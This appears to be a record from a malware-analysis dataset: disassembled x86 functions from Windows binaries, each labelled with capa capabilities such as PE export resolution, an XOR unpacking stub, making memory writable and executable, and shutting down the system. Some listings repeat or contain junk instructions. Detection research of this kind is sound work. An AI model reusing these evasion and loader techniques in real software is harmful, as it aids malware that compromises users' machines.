joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1007c0c4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1007c0e6
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1007c0e6
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1007c0e6
ret
cmp word [ebx + 4], 0x14c
jne 0x1007c0e6
test word [ebx + 0x16], 2
je 0x1007c0e6
test word [ebx + 0x16], 0x100
je 0x1007c0e6
cmp word [ebx + 0x18], 0x10b
jne 0x1007c0e6
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1007c0e6
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1007c172
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1007c106
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10063051
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1007c0e6
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1007c172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1007c0e6
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1007c0e6
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1007c0e6
ret
cmp word [ebx + 4], 0x14c
jne 0x1007c0e6
test word [ebx + 0x16], 2
je 0x1007c0e6
test word [ebx + 0x16], 0x100
je 0x1007c0e6
cmp word [ebx + 0x18], 0x10b
jne 0x1007c0e6
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1007c0e6
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1007c172
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1007c106
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10063051
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1007c0e6
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1007c229
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1007c282
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1007c229
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1007c238
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10481edb
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1007c289
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100630ff
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1007c328
add edi, 4
add eax, 2
dec ecx
jne 0x1007c26e
call 0x1007c2d5
loope 0x1007c2cb
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1007c325
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1007c336
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1007c2e9
cmp eax, ecx
ja 0x1007c2e9
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1007c373
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1007c369
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100635de
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1007c238
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1007c282
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1007c229
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1007c238
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10481edb
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1007c289
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100630ff
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1007c328
add edi, 4
add eax, 2
dec ecx
jne 0x1007c26e
call 0x1007c2d5
loope 0x1007c2cb
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1007c325
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1007c336
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1007c2e9
cmp eax, ecx
ja 0x1007c2e9
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1007c373
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1007c369
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100635de
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401dd0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x401e30
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x406054]
test esi, esi
jle 0x401f1d
mov edi, dword [0x406058]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401e64
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401f16
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401e50
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401f5a
lea ebx, [esi + esi*2]
mov esi, dword [0x406058]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x406058]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401f3a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401f0f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401f0f
mov eax, dword [esp + 0x20]
add ebx, dword [0x406058]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401f24
add dword [0x406054], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401e6e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x406058]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x402420
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402475
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40246e
test esi, esi
je 0x40246e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402450
mov dword [esp], 0x406408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402690
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4026c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4026be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4026ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4026b0
xor eax, eax
pop ebx
pop esi
ret

Function at 0x402e90
Capabilities:
Resume thread
Suspend thread

Disassembly:
push esi
push ebx
mov esi, eax
sub esp, 0x2e4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub esp, 4
cmp eax, 0xffffffff
jne 0x402ec0
add esp, 0x2e4
mov eax, 0xffffffff
pop ebx
pop esi
ret
lea eax, [esp + 0x14]
mov dword [esp], esi
mov dword [esp + 0x14], 0x10003
mov ebx, 0xffffffff
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
sub esp, 8
test eax, eax
cmovne ebx, dword [esp + 0xcc]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub esp, 4
add esp, 0x2e4
mov eax, ebx
pop ebx
pop esi
ret
Function at 0x408f10
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x45f844], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408f62
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x45f844], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408fb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408fc4
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408ec0
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x45f844], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x442ca4], 0xffcf03fc
jne 0x40902d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x40133c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x442ca4], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x442ca4], eax
sub esi, dword [esp + 0x10]
mov dword [0x442ca8], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x442cac], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00408080
sub dword [esp + 0x18], 1
jne 0x408fc0
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x4090c0
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xd64
cmp dword [0x45f844], 0x516
jne 0x409118
push 0
lea eax, [esp + 0x568]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x170]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xd6c]
shr eax, 3
test eax, eax
jbe 0x409252
mov ecx, dword [esp + 0xd68]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x45f844], 0x29
jne 0x40918a
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x45f844], 0xe1b
jne 0x4091ae
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x45f844], 0x1c
jne 0x4091ff
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0xe4]
push edx
call edi
lea eax, [esp + 0x44]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xd80]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408f10
cmp dword [0x45f844], 0x4fa
jne 0x40923e
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x409155
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd64
ret 0xc
Function at 0x409260
Capabilities:
Check for unexpected memory writes
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x45f844], 0x37
jne 0x40933c
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401370
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x45f848]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x442ca0]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x4093b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x4385e8
mov byte [0x4385e9], al
mov byte [0x4385ea], 0x72
mov byte [0x4385f0], 0x2e
mov byte [0x4385f1], 0x64
mov byte [0x4385f2], cl
mov byte [0x4385f4], 0
mov byte [0x4385ec], al
mov byte [0x4385ed], cl
mov byte [0x4385ee], 0x33
mov byte [0x4385ef], 0x32
mov byte [0x4385f3], al
mov byte [0x4385eb], 0x6e
mov byte [0x4385e8], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x45f844]
mov edx, dword [0x442ca0]
mov dword [0x45eedc], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x4385f6], 0
mov byte [0x4385ef], 0x50
mov byte [0x4385ed], 0x61
mov byte [0x4385e8], 0x60
mov byte [0x4385f0], 0x7c
mov byte [0x4385f1], 0x6f
mov byte [0x4385f5], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a5e0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a603
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a60a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a621
mov edx, dword [ebp - 4]
push edx
call fcn.00410690
add esp, 4
or eax, 0xffffffff
jmp 0x40a623
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a880
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a89f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a8a6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a8bd
mov ecx, dword [ebp - 4]
push ecx
call fcn.00410690
add esp, 4
or eax, 0xffffffff
jmp 0x40a8bf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414df0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4377a4]
jne 0x414dfa
repz ret
jmp fcn.0041aed0
Function at 0x401000
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x42c400]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push 0x207
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.0041c150
add esp, 0xc
call fcn.00406840
push 7
push 0x424a74
push esi
mov edi, eax
call fcn.0041e4d5
add esp, 0xc
cmp edi, 3
jae 0x40112d
test eax, eax
je 0x4010a8
push 7
push str._Update
push esi
call fcn.0041e4d5
add esp, 0xc
test eax, eax
je 0x4010a8
push 9
push str._ShowBind
push esi
call fcn.0041e4d5
add esp, 0xc
test eax, eax
je 0x4010a8
test esi, esi
je 0x40109b
push str._Runas
push esi
call fcn.004157a3
add esp, 8
test eax, eax
je 0x401113
call fcn.00404b80
test eax, eax
jne 0x40128d
push edi
push 0x424a98
push 0x37
push str..IsaSetup.cpp
push 1
mov ecx, str.WinMain
call fcn.00405d70
add esp, 0x14
push edi
push 0x424a98
push 0x37
push str..IsaSetup.cpp
push 1
mov ecx, str.WinMain
call fcn.00405a90
add esp, 0x14
lea ecx, [esp + 0x114]
push 0
push ecx
mov ebx, 0x424b00
call fcn.00406180
add esp, 4
push eax
lea edx, [esp + 0x18]
push edx
mov ebx, str.IsSetup
call fcn.00406180
add esp, 4
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041310b
mov esp, ebp
pop ebp
ret 0x10
test eax, eax
jne 0x4011de
push eax
call fcn.004020c0
add esp, 4
test eax, eax
je 0x40128d
lea eax, [esp + 0x114]
push 4
push eax
mov ebx, 0x424b48
call fcn.00406180
add esp, 4
push eax
lea ecx, [esp + 0x18]
push ecx
mov ebx, 0x424b54
call fcn.00406180
add esp, 4
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x40128d
push 0x424b94
push 0x43
push str..IsaSetup.cpp
push 3
mov ecx, str.WinMain
call fcn.00405d70
push 0x424b94
push 0x43
push str..IsaSetup.cpp
push 3
mov ecx, str.WinMain
call fcn.00405a90
add esp, 0x20
push str.SeShutdownPrivilege
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov eax, 1
call fcn.00406300
add esp, 4
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x40128d
push 7
push str._Update
push esi
call fcn.0041e4d5
add esp, 0xc
test eax, eax
je 0x40128d
push 9
push str._ShowBind
push esi
call fcn.0041e4d5
add esp, 0xc
test eax, eax
jne 0x401211
call fcn.00402bc0
jmp 0x40128d
call fcn.00402f40
test eax, eax
je 0x401279
call fcn.00402a50
test eax, eax
je 0x401272
call fcn.0040a8c0
cmp eax, 0xffffffff
je 0x401268
push eax
call sub.WS2_32.dll_closesocket
push 0x424bc4
push 0x5a
push str..IsaSetup.cpp
push 1
mov ecx, str.WinMain
call fcn.00405d70
push 0x424bc4
push 0x5a
push str..IsaSetup.cpp
push 1
mov ecx, str.WinMain
call fcn.00405a90
add esp, 0x20
jmp 0x40128d
push 1
call fcn.004020c0
add esp, 4
call fcn.004012b0
jmp 0x40128d
push 0
push 0x424be0
push str.IsaSetup.exe_r_n_____Setup_r_n_____Remove_r_n_____Update_r_n_____ShowBind_r_n
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0041310b
mov esp, ebp
pop ebp
ret 0x10